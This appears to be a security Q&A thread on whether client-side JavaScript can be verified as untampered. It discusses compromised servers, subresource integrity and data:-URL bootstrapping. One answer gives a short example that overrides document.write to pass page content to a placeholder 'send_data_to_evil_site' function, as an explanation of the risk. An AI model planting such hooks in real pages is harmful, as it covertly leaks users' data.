How To Prove That Client Side Javascript Is Secure?

You can't be sure it hasn't been tampered with. An attacker is running code on your system - given sufficient effort, they can manipulate anything that happens within the browser context that you're running in (so, a plugin doesn't suffer the same way - it's in a different context).

Not all of the points in the Matasano link from @SmokeDispenser are totally correct anymore, although the basic principle stands. Efforts such as the WebCrypto API are trying to address some of the problems, but are not mature yet - even if they were, it wouldn't be possible to determine with certainty that the code was not doing something malicious at the same time as performing the expected behaviour.


A web-page with JavaScript in it is essentially a small application that runs in a sandbox on your computer. Each time you visit the page you download the latest version of the application and run it. (Obligatory XKCD comic)

This means that if an attacker has control of your server and can supply poisoned code, then your problems are very similar to if your user has downloaded a spyware-ridden version of your software from a dodgy download site. Any protections you insert into your application can just be removed or bypassed by the attacker.

The only way you can keep a web application secure against an attacker who controls the server is if some part of your web app is stored on the user's computer. For example, this could be a downloaded file, or a data: URL bookmark. This piece of code would be loaded first, and could then contain enough logic to check the integrity of all the additional resources before execution - e.g. via subresource integrity or in older browsers verifying the hash before using exec().

(I wrote a small sha256 implementation to play with this idea of bootstrapping from a data: URL, and even a module loader based on it for fun, but obviously wouldn't recommend actually using this in production.)

In short: if you want your users to just type in a URL and load your site, then this is entirely dependent on the security of the server. Even monitoring your own site might not help you if the attacker is targeting only particular users.


If I've understood you right, you want to ensure that the code being supplied by the server matches some notion of recognized-as-good on the client. But for browsers, the only place which can supply content to the browser is the server - so your means of validation are delivered from the same source and via the same channel as the content you want to validate (as Matthew has said).

There is some scope to exploit this to your advantage if you can separate the time at which the 2 parts are delivered to the client (i.e. using different cache times, and have each half validate the other). But its going to be far from foolproof.

Javascript provides adequate reflection to make the validation straight forward (yes, you can read what's in Javacript's memory). The problem is differentiating between the code which came as part of the page / loaded by the page and what is already built-into the browser. The latter will vary by make and version. And as long as your code is calling out to the browser supplied code (e.g. to write stuff on screen) you need to be able to validate the browser code too. This is a problem, since it's simple to replace any javascript function (including the built-in ones) with something else:

_orig_write = document.write;
document.write = function (str) {
    send_data_to_evil_site(str);
    _orig_write(str);
}

You can't rely on detection:

if ('function write() { [native code] }' != document.write.toString()) {
     alert("maybe the toString was changed too?");
}

You might want to have a look at transferring your javascript in signed jar files. While originally intended for giving Javascript access outside its sandbox, the mechanism built in to the browser for vaildating the content should be more robust than a homegrown solution - but then again do remember that this code can potentially have impact outside the sandbox (which might be a turn-off for any security conscious customers).